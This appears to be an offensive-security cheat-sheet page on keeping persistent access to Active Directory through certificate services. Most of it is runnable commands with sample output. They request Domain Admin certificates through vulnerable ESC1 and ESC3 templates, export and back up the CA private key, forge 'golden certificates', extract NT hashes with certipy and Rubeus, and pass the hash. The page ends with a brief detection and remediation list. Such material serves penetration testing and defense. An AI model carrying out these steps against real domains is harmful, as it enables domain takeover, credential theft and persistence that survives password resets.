Skip to content
HackIndex logo

HackIndex

ADCS Certificate Persistence

5 min read Jul 10, 2026

Certificates obtained through ADCS remain valid for the entire certificate lifetime, regardless of password changes. A certificate issued for a Domain Admin account continues to authenticate as that account even after a full password reset or account lockout, making ADCS-based persistence among the hardest to detect and remove without revoking the certificate or disabling PKINIT.

Two tiers of persistence:

  1. Certificate for a specific account: valid until the certificate expires (typically 1 year for user templates, 2 years for computer templates)

  2. Stolen CA private key (Golden Certificate): forge certificates for any account, indefinitely, signed by the trusted CA

Before using these techniques, confirm ADCS is deployed and working with ADCS Misconfiguration Discovery.

Obtain certificate for privileged account

Request a user certificate for a Domain Admin account. The certificate authenticates via PKINIT and produces an NT hash on every use, even after the account's password has been changed. This is valid as long as the certificate has not been revoked.

┌──(kali㉿kali)-[~]
└─$ # Request certificate as Domain Admin — requires DA creds or ESC1 vulnerable template
┌──(kali㉿kali)-[~]
└─$ # With DA credentials (standard User template, or any template allowing enrollment):
┌──(kali㉿kali)-[~]
└─$ certipy req -u administrator@$DOMAIN -p $DA_PASSWORD -template User -ca $CA_NAME -dc-ip $TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # Via ESC1 (specify target UPN in SAN — see ADCS Exploitation page):
┌──(kali㉿kali)-[~]
└─$ certipy req -u $USER@$DOMAIN -p $PASSWORD -template $VULN_TEMPLATE -ca $CA_NAME -upn administrator@$DOMAIN -dc-ip $TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # Use certificate to get NT hash (works anytime, ignores password changes)
┌──(kali㉿kali)-[~]
└─$ certipy auth -pfx administrator.pfx -dc-ip $TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # Use NT hash for Pass-the-Hash
┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u administrator -H $NTHASH
[*] Saved certificate and private key to 'administrator.pfx'

# certipy auth output (run after any password change):
[*] Got hash for '[email protected]': fc525c9683e8fe067095ba2ddc971889
PS C:\Users\Guest\Desktop> # Request certificate as current user
Certify.exe request /ca:$CA_HOST\$CA_NAME /template:User
 
# If ESC1 vulnerable template — request as Domain Admin UPN
Certify.exe request /ca:$CA_HOST\$CA_NAME /template:$VULN_TEMPLATE /altname:administrator
 
# Convert PEM to PFX (on Linux or with openssl on Windows)
# openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
 
# Authenticate — get NT hash via UnPAC-the-Hash
.\Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /password:<pfxpassword> /domain:$DOMAIN /dc:$TARGET_IP /getcredentials /show /nowrap
 
# Inject TGT
.\Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /password:<pfxpassword> /domain:$DOMAIN /dc:$TARGET_IP /ptt
[*] Getting credentials using U2U
  CredentialInfo:
    [0] NTLM: fc525c9683e8fe067095ba2ddc971889

Steal CA private key — forge any certificate

If you have local admin on the CA server (typically a DC or dedicated CA host), you can export the CA private key and root certificate. With these you can forge a certificate for any account in the domain, signed by the trusted CA, with any validity period. This is permanent access regardless of certificate revocation lists (CRLs are checked for enrolled certs, but forged certs don't appear in the CRL).

┌──(kali㉿kali)-[~]
└─$ # Enumerate CAs — find the CA name and host
┌──(kali㉿kali)-[~]
└─$ certipy find -u $USER@$DOMAIN -p $PASSWORD -dc-ip $TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # Backup CA private key from CA server (requires local admin on CA host)
┌──(kali㉿kali)-[~]
└─$ certipy ca -backup -ca $CA_NAME -username $DA_USER -password $DA_PASSWORD -dc-ip $TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # Forge certificate for any account — no enrollment, no CRL entry
┌──(kali㉿kali)-[~]
└─$ certipy forge -ca-pfx $CA_NAME.pfx -upn administrator@$DOMAIN -subject 'CN=Administrator'
 
┌──(kali㉿kali)-[~]
└─$ # Authenticate with forged certificate
┌──(kali㉿kali)-[~]
└─$ certipy auth -pfx administrator_forged.pfx -domain $DOMAIN -dc-ip $TARGET_IP
[*] Saved CA certificate and private key to '$CA_NAME.pfx'

# certipy forge:
[*] Saving forged certificate and private key to 'administrator_forged.pfx'

# certipy auth:
[*] Got hash for '[email protected]': fc525c9683e8fe067095ba2ddc971889
PS C:\Users\Guest\Desktop> # Export CA cert and key via certutil (must run on CA host as local admin)
certutil -exportpfx -privatekey -p $PFX_PASSWORD <CA_thumbprint> C:\Windows\Temp\ca.pfx
 
# Find CA thumbprint
certutil -store My
 
# Transfer ca.pfx to Kali then use certipy forge + auth
# Alternatively, use SharpDPAPI to extract CA key from DPAPI-protected store
SharpDPAPI.exe certificates /machine

Certificate persistence via ESC3 (enrollment agent)

ESC3 certificates (enrollment agent templates) let you request certificates on behalf of other users. This persists even after credential rotation: with an enrollment agent certificate you can always issue a new certificate for any target account.

┌──(kali㉿kali)-[~]
└─$ # Step 1: Obtain enrollment agent certificate
┌──(kali㉿kali)-[~]
└─$ certipy req -u $USER@$DOMAIN -p $PASSWORD -template $ESC3_TEMPLATE_1 -ca $CA_NAME -dc-ip $TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # Step 2: Use enrollment agent cert to request cert for Domain Admin
┌──(kali㉿kali)-[~]
└─$ certipy req -u $USER@$DOMAIN -p $PASSWORD -template $ESC3_TEMPLATE_2 -ca $CA_NAME -on-behalf-of '$DOMAIN\administrator' -pfx $USER.pfx -dc-ip $TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # Authenticate as Domain Admin
┌──(kali㉿kali)-[~]
└─$ certipy auth -pfx administrator.pfx -dc-ip $TARGET_IP
[*] Got hash for '[email protected]': fc525c9683e8fe067095ba2ddc971889
PS C:\Users\Guest\Desktop> # Request enrollment agent certificate
Certify.exe request /ca:$CA_HOST\$CA_NAME /template:$ESC3_TEMPLATE_1
 
# Request certificate on behalf of Domain Admin
Certify.exe request /ca:$CA_HOST\$CA_NAME /template:$ESC3_TEMPLATE_2 /onbehalfof:$DOMAIN\administrator /enrollcert:enrollmentagent.pfx /enrollcertpw:<pfxpassword>

Detection and remediation:

  • Monitor for certificate requests by privileged accounts (Event ID 4886 + 4887 on CA)

  • Revoke issued certificates after credential compromise — locate in Certificate Authority MMC under Issued Certificates

  • CA private key theft has no native detection. Enable CA audit logging (Event ID 4870) and watch for certutil -exportpfx or certipy ca -backup equivalent events

  • Forged certificates (from stolen CA key) cannot be revoked via CRL. The only remediation is revoking and reissuing the CA certificate itself — a major operation requiring all issued certs to be re-enrolled

References